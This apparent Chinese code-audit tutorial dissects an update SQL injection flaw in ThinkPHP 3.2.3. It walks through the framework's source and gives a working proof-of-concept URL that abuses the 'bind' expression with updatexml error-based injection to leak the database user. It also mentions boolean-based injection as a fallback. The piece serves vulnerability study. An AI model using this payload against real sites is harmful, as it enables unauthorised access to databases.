10-PHP代码审计——thinkphp3.2.3 update注入漏洞
Posted songly_
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了10-PHP代码审计——thinkphp3.2.3 update注入漏洞相关的知识,希望对你有一定的参考价值。
实验环境的poc:
http://www.tptest.com/index.php/home/index/index?username[0]=bind&username[1]=0%20and%201=(updatexml(1,concat(0x3a,(user())),1))%23&password=123456
通过更改用户密码的案例来分析update注入漏洞的过程:
在分析之前,先梳理一下漏洞利用的过程,update注入的流程是:M函数 --> where函数 --> save函数,这和之前的数据库内核注入漏洞流程有些相似的,不同的是,在where函数的参数只有username,在save函数才传入password。
访问链接提交poc:
这一段是update注入的提交的poc:
username[0]=bind&username[1]=0%20and%201=(updatexml(1,concat(0x3a,(user())),1))%23&password=123456
从页面返回的结果来看,报错注入成功把数据库的用户信息爆出来了。
可能有同学会这一串数据有疑惑:username[0]=bind&username[1]=0,简单说明一下,这里是利用了thinkphp的连贯操作bind来绕过,后面我们还会介绍。
那么,话不多说,我们开始分析。定位到where函数:
这里不用说,where函数以数组的方式接收了username,然后将where赋值给options。
接着调用了save函数,在save函数内部调用了db->update函数
update函数的2个参数就是之前传入的username和password
update函数内部调用了parseSet函数:
protected function parseSet($data)
foreach ($data as $key=>$val)
if(is_array($val) && 'exp' == $val[0])
$set[] = $this->parseKey($key).'='.$val[1];
elseif(is_null($val))
$set[] = $this->parseKey($key).'=NULL';
// 过滤非标量数据
elseif(is_scalar($val))
if(0===strpos($val,':') && in_array($val,array_keys($this->bind)) )
$set[] = $this->parseKey($key).'='.$this->escapeString($val);
else
$name = count($this->bind);
$set[] = $this->parseKey($key).'=:'.$name;
$this->bindParam($name,$val);
return ' SET '.implode(',',$set);
取出data的内容给val,is_scalar函数判断val是否为标量,标量指的是是否包含了integer,float,string,boolean类型的变量,其它的都是非标量。
val满足条件后会继续执行以下三段代码
这几行代码会对this->bind进行绑定,现在bind的内容变成了:0=123456,这里会把set变成了一个数组,里面只有一个元素0,其内容为password=:0,bind和set非常重要,但现在我们只需记住bind和set的内容,后面还会介绍。
我们继续分析,定位到parseWhereItem函数
// where子单元分析
protected function parseWhereItem($key,$val)
$whereStr = '';
//是否为数组
if(is_array($val))
if(is_string($val[0]))
//取出第一个元素exp并转小写
$exp = strtolower($val[0]);
//这里正则会匹配exp是否有特殊字符
if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) // 比较运算
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
elseif(preg_match('/^(notlike|like)$/',$exp))// 模糊查找
if(is_array($val[1]))
$likeLogic = isset($val[2])?strtoupper($val[2]):'OR';
if(in_array($likeLogic,array('AND','OR','XOR')))
$like = array();
foreach ($val[1] as $item)
$like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);
$whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';
else
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);
//判断exp是否为bind表达式
elseif('bind' == $exp ) // 使用表达式
//将key和val,字符串(= :)拼接
$whereStr .= $key.' = :'.$val[1];
//如果没有则会匹配是否有表达式
elseif('exp' == $exp ) // 使用表达式
$whereStr .= $key.' '.$val[1];
elseif(preg_match('/^(notin|not in|in)$/',$exp)) // IN 运算
if(isset($val[2]) && 'exp'==$val[2])
$whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];
else
if(is_string($val[1]))
$val[1] = explode(',',$val[1]);
$zone = implode(',',$this->parseValue($val[1]));
$whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';
elseif(preg_match('/^(notbetween|not between|between)$/',$exp)) // BETWEEN运算
$data = is_string($val[1])? explode(',',$val[1]):$val[1];
$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);
else
E(L('_EXPRESS_ERROR_').':'.$val[0]);
else
$count = count($val);
$rule = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ;
if(in_array($rule,array('AND','OR','XOR')))
$count = $count -1;
else
$rule = 'AND';
for($i=0;$i<$count;$i++)
$data = is_array($val[$i])?$val[$i][1]:$val[$i];
if('exp'==strtolower($val[$i][0]))
$whereStr .= $key.' '.$data.' '.$rule.' ';
else
$whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';
$whereStr = '( '.substr($whereStr,0,-4).' )';
else
//对字符串类型字段采用模糊匹配
$likeFields = $this->config['db_like_fields'];
if($likeFields && preg_match('/^('.$likeFields.')$/i',$key))
$whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');
else
$whereStr .= $key.' = '.$this->parseValue($val);
return $whereStr;
parseWhereItem函数中的参数key是username,val是username数组的内容,val满足条件后会取出val数组的第一个元素内容给exp(此时exp=bind),判断exp是否为bind表达式,whereStr最终的内容如下:
parseWhereItem函数执行完毕最终返回到update函数中:
public function update($data,$options)
$this->model = $options['model'];
$this->parseBind(!empty($options['bind'])?$options['bind']:array());
$table = $this->parseTable($options['table']);
//将parseSet函数返回的内容拼接
$sql = 'UPDATE ' . $table . $this->parseSet($data);
if(strpos($table,','))// 多表更新支持JOIN操作
$sql .= $this->parseJoin(!empty($options['join'])?$options['join']:'');
$sql .= $this->parseWhere(!empty($options['where'])?$options['where']:'');
if(!strpos($table,','))
// 单表更新支持order和lmit
$sql .= $this->parseOrder(!empty($options['order'])?$options['order']:'')
.$this->parseLimit(!empty($options['limit'])?$options['limit']:'');
$sql .= $this->parseComment(!empty($options['comment'])?$options['comment']:'');
return $this->execute($sql,!empty($options['fetch_sql']) ? true : false);
parseSet函数里返回的内容是数组set,且里面的内容就是`password`=:0,最终拼接成sql语句,$sql变量的内容为:
UPDATE `users` SET `password`=:0 WHERE `username` = :0 and 1=(updatexml(1,concat(0x3a,(user())),1))#
继续调用execute函数
public function execute($str,$fetchSql=false)
$this->initConnect(true);
if ( !$this->_linkID ) return false;
$this->queryStr = $str;
if(!empty($this->bind))
$that = $this;
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that) return '\\''.$that->escapeString($val).'\\''; ,$this->bind));
if($fetchSql)
return $this->queryStr;
//释放前次的查询结果
if ( !empty($this->PDOStatement) ) $this->free();
$this->executeTimes++;
N('db_write',1); // 兼容代码
// 记录开始执行时间
$this->debug(true);
$this->PDOStatement = $this->_linkID->prepare($str);
if(false === $this->PDOStatement)
$this->error();
return false;
foreach ($this->bind as $key => $val)
if(is_array($val))
$this->PDOStatement->bindValue($key, $val[0], $val[1]);
else
$this->PDOStatement->bindValue($key, $val);
$this->bind = array();
try
$result = $this->PDOStatement->execute();
// 调试结束
$this->debug(false);
if ( false === $result)
$this->error();
return false;
else
$this->numRows = $this->PDOStatement->rowCount();
if(preg_match("/^\\s*(INSERT\\s+INTO|REPLACE\\s+INTO)\\s+/i", $str))
$this->lastInsID = $this->_linkID->lastInsertId();
return $this->numRows;
catch (\\PDOException $e)
$this->error();
return false;
execute函数中这一行代码非常关键,strtr函数里使用了this->bind进行了替换,之前poc中的username[1]=0就起到了作用,最终替换后的$this->queryStr内容
UPDATE `users` SET `password`=123456 WHERE `username` = 123456 and 1=(updatexml(1,concat(0x3a,(user())),1))#
最终这条sql语句执行的时候会把当前数据库用户的信息暴出来,将错误信息返回到前台页面:
前台页面会显示错误信息是因为thinkphp开启了debug模式,如果是在部署阶段关闭了debug,thinkphp会把报错信息隐藏不在页面显示。报错注入就无法得到想要的信息了,这时候就需要通过布尔注入的方式让页面返回true/false两种不同方式来判断,或者使用其它注入方式。
以上是关于10-PHP代码审计——thinkphp3.2.3 update注入漏洞的主要内容,如果未能解决你的问题,请参考以下文章